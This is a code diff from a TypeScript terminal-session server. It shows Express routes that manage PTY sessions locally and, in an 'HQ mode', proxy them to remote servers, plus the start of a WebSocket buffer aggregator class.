||||
workingDir: session.cwd,
|
||||
name: session.name,
|
||||
status: session.status,
|
||||
exitCode: session.exit_code,
|
||||
startedAt: session.started_at,
|
||||
pid: session.pid,
|
||||
source: 'local',
|
||||
}));
|
||||
|
||||
allSessions = [...localSessionsWithSource];
|
||||
|
||||
// If in HQ mode, aggregate sessions from all remotes
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remotes = remoteRegistry.getRemotes();
|
||||
console.log(`HQ Mode: Checking ${remotes.length} remote servers for sessions`);
|
||||
|
||||
// Fetch sessions from each remote in parallel
|
||||
const remotePromises = remotes.map(async (remote) => {
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions`, {
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(5000), // 5 second timeout
|
||||
});
|
||||
|
||||
if (response.ok) {
|
||||
const remoteSessions = await response.json();
|
||||
console.log(`Got ${remoteSessions.length} sessions from remote ${remote.name}`);
|
||||
|
||||
// Track session IDs for this remote
|
||||
const sessionIds = remoteSessions.map((s: { id: string }) => s.id);
|
||||
remoteRegistry.updateRemoteSessions(remote.id, sessionIds);
|
||||
|
||||
// Add remote info to each session
|
||||
return remoteSessions.map((session: { id: string; [key: string]: unknown }) => ({
|
||||
...session,
|
||||
source: 'remote',
|
||||
remoteId: remote.id,
|
||||
remoteName: remote.name,
|
||||
remoteUrl: remote.url,
|
||||
}));
|
||||
} else {
|
||||
console.error(
|
||||
`Failed to get sessions from remote ${remote.name}: HTTP ${response.status}`
|
||||
);
|
||||
return [];
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Failed to get sessions from remote ${remote.name}:`, error);
|
||||
return [];
|
||||
}
|
||||
});
|
||||
|
||||
const remoteResults = await Promise.all(remotePromises);
|
||||
const remoteSessions = remoteResults.flat();
|
||||
console.log(`Total remote sessions: ${remoteSessions.length}`);
|
||||
|
||||
allSessions = [...allSessions, ...remoteSessions];
|
||||
}
|
||||
|
||||
console.log(`Returning ${allSessions.length} total sessions`);
|
||||
res.json(allSessions);
|
||||
} catch (error) {
|
||||
console.error('Error listing sessions:', error);
|
||||
res.status(500).json({ error: 'Failed to list sessions' });
|
||||
}
|
||||
});
|
||||
|
||||
// Create new session (local or on remote)
|
||||
router.post('/sessions', async (req, res) => {
|
||||
const { command, workingDir, name, remoteId } = req.body;
|
||||
|
||||
if (!command || !Array.isArray(command) || command.length === 0) {
|
||||
return res.status(400).json({ error: 'Command array is required' });
|
||||
}
|
||||
|
||||
try {
|
||||
// If remoteId is specified and we're in HQ mode, forward to remote
|
||||
if (remoteId && isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemote(remoteId);
|
||||
if (!remote) {
|
||||
return res.status(404).json({ error: 'Remote server not found' });
|
||||
}
|
||||
|
||||
console.log(`Forwarding session creation to remote ${remote.name}`);
|
||||
|
||||
// Forward the request to the remote server
|
||||
const response = await fetch(`${remote.url}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
command,
|
||||
workingDir,
|
||||
name,
|
||||
// Don't forward remoteId to avoid recursion
|
||||
}),
|
||||
signal: AbortSignal.timeout(10000), // 10 second timeout
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ error: 'Unknown error' }));
|
||||
return res.status(response.status).json(error);
|
||||
}
|
||||
|
||||
const result = await response.json();
|
||||
|
||||
// Track the session in the remote's sessionIds
|
||||
if (result.sessionId) {
|
||||
remoteRegistry.addSessionToRemote(remote.id, result.sessionId);
|
||||
}
|
||||
|
||||
res.json(result); // Return sessionId as-is, no namespacing
|
||||
return;
|
||||
}
|
||||
|
||||
// Create local session
|
||||
const sessionName =
|
||||
name || `session_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
|
||||
const cwd = resolvePath(workingDir, process.cwd());
|
||||
|
||||
console.log(`Creating session with PTY service: ${command.join(' ')} in ${cwd}`);
|
||||
|
||||
const result = await ptyManager.createSession(command, {
|
||||
sessionName,
|
||||
workingDir: cwd,
|
||||
term: 'xterm-256color',
|
||||
});
|
||||
|
||||
const { sessionId, sessionInfo } = result;
|
||||
console.log(`Session created: ${sessionId} (PID: ${sessionInfo.pid})`);
|
||||
|
||||
// Stream watcher is set up when clients connect to the stream endpoint
|
||||
|
||||
res.json({ sessionId });
|
||||
} catch (error) {
|
||||
console.error('Error creating session:', error);
|
||||
if (error instanceof PtyError) {
|
||||
res.status(500).json({ error: 'Failed to create session', details: error.message });
|
||||
} else {
|
||||
res.status(500).json({ error: 'Failed to create session' });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Get single session info
|
||||
router.get('/sessions/:sessionId', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
|
||||
try {
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Forward to remote server
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}`, {
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
return res.json(await response.json());
|
||||
} catch (error) {
|
||||
console.error(`Failed to get session info from remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling
|
||||
const sessionInfo = ptyManager.getSession(sessionId);
|
||||
|
||||
if (!sessionInfo) {
|
||||
return res.status(404).json({ error: 'Session not found' });
|
||||
}
|
||||
|
||||
// Get the last modified time of the stream file
|
||||
let lastModified = sessionInfo.started_at || new Date().toISOString();
|
||||
try {
|
||||
if (fs.existsSync(sessionInfo['stream-out'])) {
|
||||
const stats = fs.statSync(sessionInfo['stream-out']);
|
||||
lastModified = stats.mtime.toISOString();
|
||||
}
|
||||
} catch {
|
||||
// Use started_at as fallback
|
||||
}
|
||||
|
||||
res.json({
|
||||
id: sessionInfo.session_id,
|
||||
command: Array.isArray(sessionInfo.cmdline)
|
||||
? sessionInfo.cmdline.join(' ')
|
||||
: sessionInfo.cmdline || '',
|
||||
workingDir: sessionInfo.cwd,
|
||||
name: sessionInfo.name,
|
||||
status: sessionInfo.status,
|
||||
exitCode: sessionInfo.exit_code,
|
||||
startedAt: sessionInfo.started_at,
|
||||
lastModified: lastModified,
|
||||
pid: sessionInfo.pid,
|
||||
waiting: sessionInfo.waiting,
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('Error getting session info:', error);
|
||||
res.status(500).json({ error: 'Failed to get session info' });
|
||||
}
|
||||
});
|
||||
|
||||
// Kill session (just kill the process)
|
||||
router.delete('/sessions/:sessionId', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
|
||||
try {
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Forward kill request to remote server
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}`, {
|
||||
method: 'DELETE',
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(10000),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
// Remote killed the session, now update our registry
|
||||
remoteRegistry.removeSessionFromRemote(sessionId);
|
||||
console.log(`Remote session ${sessionId} killed on ${remote.name}`);
|
||||
|
||||
return res.json(await response.json());
|
||||
} catch (error) {
|
||||
console.error(`Failed to kill session on remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling - just kill it, no registry updates needed
|
||||
const session = ptyManager.getSession(sessionId);
|
||||
|
||||
if (!session) {
|
||||
return res.status(404).json({ error: 'Session not found' });
|
||||
}
|
||||
|
||||
await ptyManager.killSession(sessionId, 'SIGTERM');
|
||||
console.log(`Local session ${sessionId} killed`);
|
||||
|
||||
res.json({ success: true, message: 'Session killed' });
|
||||
} catch (error) {
|
||||
console.error('Error killing session:', error);
|
||||
if (error instanceof PtyError) {
|
||||
res.status(500).json({ error: 'Failed to kill session', details: error.message });
|
||||
} else {
|
||||
res.status(500).json({ error: 'Failed to kill session' });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Cleanup session files
|
||||
router.delete('/sessions/:sessionId/cleanup', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
|
||||
try {
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Forward cleanup request to remote server
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/cleanup`, {
|
||||
method: 'DELETE',
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(10000),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
// Remote cleaned up the session, now update our registry
|
||||
remoteRegistry.removeSessionFromRemote(sessionId);
|
||||
console.log(`Remote session ${sessionId} cleaned up on ${remote.name}`);
|
||||
|
||||
return res.json(await response.json());
|
||||
} catch (error) {
|
||||
console.error(`Failed to cleanup session on remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling - just cleanup, no registry updates needed
|
||||
ptyManager.cleanupSession(sessionId);
|
||||
console.log(`Local session ${sessionId} cleaned up`);
|
||||
|
||||
res.json({ success: true, message: 'Session cleaned up' });
|
||||
} catch (error) {
|
||||
console.error('Error cleaning up session:', error);
|
||||
if (error instanceof PtyError) {
|
||||
res.status(500).json({ error: 'Failed to cleanup session', details: error.message });
|
||||
} else {
|
||||
res.status(500).json({ error: 'Failed to cleanup session' });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Cleanup all exited sessions (local and remote)
|
||||
router.post('/cleanup-exited', async (req, res) => {
|
||||
try {
|
||||
// Clean up local sessions
|
||||
const localCleanedSessions = ptyManager.cleanupExitedSessions();
|
||||
console.log(`Cleaned up ${localCleanedSessions.length} local exited sessions`);
|
||||
|
||||
// Remove cleaned local sessions from remote registry if in HQ mode
|
||||
if (isHQMode && remoteRegistry) {
|
||||
for (const sessionId of localCleanedSessions) {
|
||||
remoteRegistry.removeSessionFromRemote(sessionId);
|
||||
}
|
||||
}
|
||||
|
||||
let totalCleaned = localCleanedSessions.length;
|
||||
const remoteResults: Array<{ remoteName: string; cleaned: number; error?: string }> = [];
|
||||
|
||||
// If in HQ mode, clean up sessions on all remotes
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const allRemotes = remoteRegistry.getRemotes();
|
||||
|
||||
// Clean up on each remote in parallel
|
||||
const remoteCleanupPromises = allRemotes.map(async (remote) => {
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/cleanup-exited`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(10000), // 10 second timeout
|
||||
});
|
||||
|
||||
if (response.ok) {
|
||||
const result = await response.json();
|
||||
const cleanedSessionIds = result.cleanedSessions || [];
|
||||
const cleanedCount = cleanedSessionIds.length;
|
||||
totalCleaned += cleanedCount;
|
||||
|
||||
// Remove cleaned remote sessions from registry
|
||||
for (const sessionId of cleanedSessionIds) {
|
||||
remoteRegistry.removeSessionFromRemote(sessionId);
|
||||
}
|
||||
|
||||
remoteResults.push({ remoteName: remote.name, cleaned: cleanedCount });
|
||||
} else {
|
||||
throw new Error(`HTTP ${response.status}`);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Failed to cleanup sessions on remote ${remote.name}:`, error);
|
||||
remoteResults.push({
|
||||
remoteName: remote.name,
|
||||
cleaned: 0,
|
||||
error: error instanceof Error ? error.message : 'Unknown error',
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
await Promise.all(remoteCleanupPromises);
|
||||
}
|
||||
|
||||
res.json({
|
||||
success: true,
|
||||
message: `${totalCleaned} exited sessions cleaned up across all servers`,
|
||||
localCleaned: localCleanedSessions.length,
|
||||
remoteResults,
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('Error cleaning up exited sessions:', error);
|
||||
if (error instanceof PtyError) {
|
||||
res
|
||||
.status(500)
|
||||
.json({ error: 'Failed to cleanup exited sessions', details: error.message });
|
||||
} else {
|
||||
res.status(500).json({ error: 'Failed to cleanup exited sessions' });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Get session buffer
|
||||
router.get('/sessions/:sessionId/buffer', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
|
||||
console.log(`[BUFFER] Client requesting buffer for session ${sessionId}`);
|
||||
|
||||
try {
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Forward buffer request to remote server
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/buffer`, {
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
// Forward the binary buffer
|
||||
const buffer = await response.arrayBuffer();
|
||||
res.setHeader('Content-Type', 'application/octet-stream');
|
||||
return res.send(Buffer.from(buffer));
|
||||
} catch (error) {
|
||||
console.error(`Failed to get buffer from remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling
|
||||
const session = ptyManager.getSession(sessionId);
|
||||
if (!session) {
|
||||
console.error(`[BUFFER] Session ${sessionId} not found`);
|
||||
return res.status(404).json({ error: 'Session not found' });
|
||||
}
|
||||
|
||||
// Get terminal buffer snapshot
|
||||
const snapshot = await terminalManager.getBufferSnapshot(sessionId);
|
||||
|
||||
// Encode as binary buffer
|
||||
const buffer = terminalManager.encodeSnapshot(snapshot);
|
||||
|
||||
console.log(
|
||||
`[BUFFER] Sending buffer for session ${sessionId}: ${buffer.length} bytes, ` +
|
||||
`dimensions: ${snapshot.cols}x${snapshot.rows}, cursor: (${snapshot.cursorX},${snapshot.cursorY})`
|
||||
);
|
||||
|
||||
// Send as binary data
|
||||
res.setHeader('Content-Type', 'application/octet-stream');
|
||||
res.send(buffer);
|
||||
} catch (error) {
|
||||
console.error('[BUFFER] Error getting buffer:', error);
|
||||
res.status(500).json({ error: 'Failed to get terminal buffer' });
|
||||
}
|
||||
});
|
||||
|
||||
// Stream session output
|
||||
router.get('/sessions/:sessionId/stream', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
|
||||
console.log(
|
||||
`[STREAM] New SSE client connected to session ${sessionId} from ${req.get('User-Agent')?.substring(0, 50) || 'unknown'}`
|
||||
);
|
||||
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Proxy SSE stream from remote server
|
||||
try {
|
||||
const controller = new AbortController();
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/stream`, {
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
Accept: 'text/event-stream',
|
||||
},
|
||||
signal: controller.signal,
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
// Set up SSE headers
|
||||
res.writeHead(200, {
|
||||
'Content-Type': 'text/event-stream',
|
||||
'Cache-Control': 'no-cache',
|
||||
Connection: 'keep-alive',
|
||||
'Access-Control-Allow-Origin': '*',
|
||||
'Access-Control-Allow-Headers': 'Cache-Control',
|
||||
'X-Accel-Buffering': 'no',
|
||||
});
|
||||
|
||||
// Proxy the stream
|
||||
const reader = response.body?.getReader();
|
||||
if (!reader) {
|
||||
throw new Error('No response body');
|
||||
}
|
||||
|
||||
const decoder = new TextDecoder();
|
||||
const pump = async () => {
|
||||
try {
|
||||
while (true) {
|
||||
const { done, value } = await reader.read();
|
||||
if (done) break;
|
||||
const chunk = decoder.decode(value, { stream: true });
|
||||
res.write(chunk);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Stream proxy error for remote ${remote.name}:`, error);
|
||||
}
|
||||
};
|
||||
|
||||
pump();
|
||||
|
||||
// Clean up on disconnect
|
||||
req.on('close', () => {
|
||||
console.log(`[STREAM] SSE client disconnected from remote session ${sessionId}`);
|
||||
controller.abort();
|
||||
});
|
||||
|
||||
return;
|
||||
} catch (error) {
|
||||
console.error(`Failed to stream from remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling
|
||||
const session = ptyManager.getSession(sessionId);
|
||||
if (!session) {
|
||||
return res.status(404).json({ error: 'Session not found' });
|
||||
}
|
||||
|
||||
const streamPath = session['stream-out'];
|
||||
if (!streamPath) {
|
||||
return res.status(404).json({ error: 'Session stream not found' });
|
||||
}
|
||||
|
||||
// Set up SSE headers
|
||||
res.writeHead(200, {
|
||||
'Content-Type': 'text/event-stream',
|
||||
'Cache-Control': 'no-cache',
|
||||
Connection: 'keep-alive',
|
||||
'Access-Control-Allow-Origin': '*',
|
||||
'Access-Control-Allow-Headers': 'Cache-Control',
|
||||
'X-Accel-Buffering': 'no', // Disable Nginx buffering
|
||||
});
|
||||
|
||||
// Send initial connection event
|
||||
res.write(':ok\n\n');
|
||||
|
||||
// Add client to stream watcher
|
||||
streamWatcher.addClient(sessionId, streamPath, res);
|
||||
|
||||
// Send heartbeat every 30 seconds to keep connection alive
|
||||
const heartbeat = setInterval(() => {
|
||||
res.write(':heartbeat\n\n');
|
||||
}, 30000);
|
||||
|
||||
// Clean up on disconnect
|
||||
req.on('close', () => {
|
||||
console.log(`[STREAM] SSE client disconnected from session ${sessionId}`);
|
||||
streamWatcher.removeClient(sessionId, res);
|
||||
clearInterval(heartbeat);
|
||||
});
|
||||
});
|
||||
|
||||
// Send input to session
|
||||
router.post('/sessions/:sessionId/input', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
const { text, key } = req.body;
|
||||
|
||||
// Validate that only one of text or key is provided
|
||||
if ((text === undefined && key === undefined) || (text !== undefined && key !== undefined)) {
|
||||
return res.status(400).json({ error: 'Either text or key must be provided, but not both' });
|
||||
}
|
||||
|
||||
if (text !== undefined && typeof text !== 'string') {
|
||||
return res.status(400).json({ error: 'Text must be a string' });
|
||||
}
|
||||
|
||||
if (key !== undefined && typeof key !== 'string') {
|
||||
return res.status(400).json({ error: 'Key must be a string' });
|
||||
}
|
||||
|
||||
try {
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Forward input to remote server
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/input`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
body: JSON.stringify(req.body),
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
return res.json(await response.json());
|
||||
} catch (error) {
|
||||
console.error(`Failed to send input to remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling
|
||||
const session = ptyManager.getSession(sessionId);
|
||||
if (!session) {
|
||||
console.error(`Session ${sessionId} not found for input`);
|
||||
return res.status(404).json({ error: 'Session not found' });
|
||||
}
|
||||
|
||||
if (session.status !== 'running') {
|
||||
console.error(`Session ${sessionId} is not running (status: ${session.status})`);
|
||||
return res.status(400).json({ error: 'Session is not running' });
|
||||
}
|
||||
|
||||
const inputData = text !== undefined ? { text } : { key };
|
||||
console.log(`Sending input to session ${sessionId}: ${JSON.stringify(inputData)}`);
|
||||
|
||||
ptyManager.sendInput(sessionId, inputData);
|
||||
res.json({ success: true });
|
||||
} catch (error) {
|
||||
console.error('Error sending input:', error);
|
||||
if (error instanceof PtyError) {
|
||||
res.status(500).json({ error: 'Failed to send input', details: error.message });
|
||||
} else {
|
||||
res.status(500).json({ error: 'Failed to send input' });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Resize session
|
||||
router.post('/sessions/:sessionId/resize', async (req, res) => {
|
||||
const sessionId = req.params.sessionId;
|
||||
const { cols, rows } = req.body;
|
||||
|
||||
if (typeof cols !== 'number' || typeof rows !== 'number') {
|
||||
return res.status(400).json({ error: 'Cols and rows must be numbers' });
|
||||
}
|
||||
|
||||
if (cols < 1 || rows < 1 || cols > 1000 || rows > 1000) {
|
||||
return res.status(400).json({ error: 'Cols and rows must be between 1 and 1000' });
|
||||
}
|
||||
|
||||
console.log(`Resizing session ${sessionId} to ${cols}x${rows}`);
|
||||
|
||||
try {
|
||||
// If in HQ mode, check if this is a remote session
|
||||
if (isHQMode && remoteRegistry) {
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
// Forward resize to remote server
|
||||
try {
|
||||
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
body: JSON.stringify({ cols, rows }),
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return res.status(response.status).json(await response.json());
|
||||
}
|
||||
|
||||
return res.json(await response.json());
|
||||
} catch (error) {
|
||||
console.error(`Failed to resize session on remote ${remote.name}:`, error);
|
||||
return res.status(503).json({ error: 'Failed to reach remote server' });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Local session handling
|
||||
const session = ptyManager.getSession(sessionId);
|
||||
if (!session) {
|
||||
console.error(`Session ${sessionId} not found for resize`);
|
||||
return res.status(404).json({ error: 'Session not found' });
|
||||
}
|
||||
|
||||
if (session.status !== 'running') {
|
||||
console.error(`Session ${sessionId} is not running (status: ${session.status})`);
|
||||
return res.status(400).json({ error: 'Session is not running' });
|
||||
}
|
||||
|
||||
// Resize the session
|
||||
ptyManager.resizeSession(sessionId, cols, rows);
|
||||
console.log(`Successfully resized session ${sessionId} to ${cols}x${rows}`);
|
||||
|
||||
res.json({ success: true, cols, rows });
|
||||
} catch (error) {
|
||||
console.error('Error resizing session via PTY service:', error);
|
||||
if (error instanceof PtyError) {
|
||||
res.status(500).json({ error: 'Failed to resize session', details: error.message });
|
||||
} else {
|
||||
res.status(500).json({ error: 'Failed to resize session' });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return router;
|
||||
}
|
||||
399
web/src/server/services/buffer-aggregator.ts
Normal file
399
web/src/server/services/buffer-aggregator.ts
Normal file
|
|
@ -0,0 +1,399 @@
|
|||
import { WebSocket } from 'ws';
|
||||
import chalk from 'chalk';
|
||||
import { RemoteRegistry } from './remote-registry.js';
|
||||
import { TerminalManager } from './terminal-manager.js';
|
||||
|
||||
interface BufferAggregatorConfig {
|
||||
terminalManager: TerminalManager;
|
||||
remoteRegistry: RemoteRegistry | null;
|
||||
isHQMode: boolean;
|
||||
}
|
||||
|
||||
interface RemoteWebSocketConnection {
|
||||
ws: WebSocket;
|
||||
remoteId: string;
|
||||
remoteName: string;
|
||||
subscriptions: Set<string>;
|
||||
}
|
||||
|
||||
export class BufferAggregator {
|
||||
private config: BufferAggregatorConfig;
|
||||
private remoteConnections: Map<string, RemoteWebSocketConnection> = new Map();
|
||||
private clientSubscriptions: Map<WebSocket, Map<string, () => void>> = new Map();
|
||||
|
||||
constructor(config: BufferAggregatorConfig) {
|
||||
this.config = config;
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle a new client WebSocket connection
|
||||
*/
|
||||
async handleClientConnection(ws: WebSocket): Promise<void> {
|
||||
console.log(chalk.blue('[BufferAggregator] New client connected'));
|
||||
|
||||
// Initialize subscription map for this client
|
||||
this.clientSubscriptions.set(ws, new Map());
|
||||
|
||||
// Send welcome message
|
||||
ws.send(JSON.stringify({ type: 'connected', version: '1.0' }));
|
||||
|
||||
// Handle messages from client
|
||||
ws.on('message', async (message: Buffer) => {
|
||||
try {
|
||||
const data = JSON.parse(message.toString());
|
||||
await this.handleClientMessage(ws, data);
|
||||
} catch (error) {
|
||||
console.error('[BufferAggregator] Error handling client message:', error);
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'error',
|
||||
message: 'Invalid message format',
|
||||
})
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
// Handle disconnection
|
||||
ws.on('close', () => {
|
||||
this.handleClientDisconnect(ws);
|
||||
});
|
||||
|
||||
ws.on('error', (error) => {
|
||||
console.error(chalk.red('[BufferAggregator] Client WebSocket error:'), error);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle messages from a client
|
||||
*/
|
||||
private async handleClientMessage(
|
||||
clientWs: WebSocket,
|
||||
data: { type: string; sessionId?: string }
|
||||
): Promise<void> {
|
||||
const subscriptions = this.clientSubscriptions.get(clientWs);
|
||||
if (!subscriptions) return;
|
||||
|
||||
if (data.type === 'subscribe' && data.sessionId) {
|
||||
const sessionId = data.sessionId;
|
||||
|
||||
// Unsubscribe if already subscribed
|
||||
if (subscriptions.has(sessionId)) {
|
||||
const existingUnsubscribe = subscriptions.get(sessionId);
|
||||
if (existingUnsubscribe) {
|
||||
existingUnsubscribe();
|
||||
}
|
||||
subscriptions.delete(sessionId);
|
||||
}
|
||||
|
||||
// Check if this is a local or remote session
|
||||
const isRemoteSession =
|
||||
this.config.isHQMode &&
|
||||
this.config.remoteRegistry &&
|
||||
this.config.remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
|
||||
if (isRemoteSession) {
|
||||
// Subscribe to remote session
|
||||
await this.subscribeToRemoteSession(clientWs, sessionId, isRemoteSession.id);
|
||||
} else {
|
||||
// Subscribe to local session
|
||||
await this.subscribeToLocalSession(clientWs, sessionId);
|
||||
}
|
||||
|
||||
clientWs.send(JSON.stringify({ type: 'subscribed', sessionId }));
|
||||
console.log(`[BufferAggregator] Client subscribed to session ${sessionId}`);
|
||||
} else if (data.type === 'unsubscribe' && data.sessionId) {
|
||||
const sessionId = data.sessionId;
|
||||
const unsubscribe = subscriptions.get(sessionId);
|
||||
if (unsubscribe) {
|
||||
unsubscribe();
|
||||
subscriptions.delete(sessionId);
|
||||
console.log(`[BufferAggregator] Client unsubscribed from session ${sessionId}`);
|
||||
}
|
||||
|
||||
// Also unsubscribe from remote if applicable
|
||||
if (this.config.isHQMode && this.config.remoteRegistry) {
|
||||
const remote = this.config.remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (remote) {
|
||||
const remoteConn = this.remoteConnections.get(remote.id);
|
||||
if (remoteConn) {
|
||||
remoteConn.subscriptions.delete(sessionId);
|
||||
if (remoteConn.ws.readyState === WebSocket.OPEN) {
|
||||
remoteConn.ws.send(JSON.stringify({ type: 'unsubscribe', sessionId }));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (data.type === 'ping') {
|
||||
clientWs.send(JSON.stringify({ type: 'pong', timestamp: Date.now() }));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Subscribe a client to a local session
|
||||
*/
|
||||
private async subscribeToLocalSession(clientWs: WebSocket, sessionId: string): Promise<void> {
|
||||
const subscriptions = this.clientSubscriptions.get(clientWs);
|
||||
if (!subscriptions) return;
|
||||
|
||||
try {
|
||||
const unsubscribe = await this.config.terminalManager.subscribeToBufferChanges(
|
||||
sessionId,
|
||||
(sessionId: string, snapshot: Parameters<TerminalManager['encodeSnapshot']>[0]) => {
|
||||
try {
|
||||
const buffer = this.config.terminalManager.encodeSnapshot(snapshot);
|
||||
const sessionIdBuffer = Buffer.from(sessionId, 'utf8');
|
||||
const totalLength = 1 + 4 + sessionIdBuffer.length + buffer.length;
|
||||
const fullBuffer = Buffer.allocUnsafe(totalLength);
|
||||
|
||||
let offset = 0;
|
||||
fullBuffer.writeUInt8(0xbf, offset); // Magic byte for binary message
|
||||
offset += 1;
|
||||
|
||||
fullBuffer.writeUInt32LE(sessionIdBuffer.length, offset);
|
||||
offset += 4;
|
||||
|
||||
sessionIdBuffer.copy(fullBuffer, offset);
|
||||
offset += sessionIdBuffer.length;
|
||||
|
||||
buffer.copy(fullBuffer, offset);
|
||||
|
||||
if (clientWs.readyState === WebSocket.OPEN) {
|
||||
clientWs.send(fullBuffer);
|
||||
}
|
||||
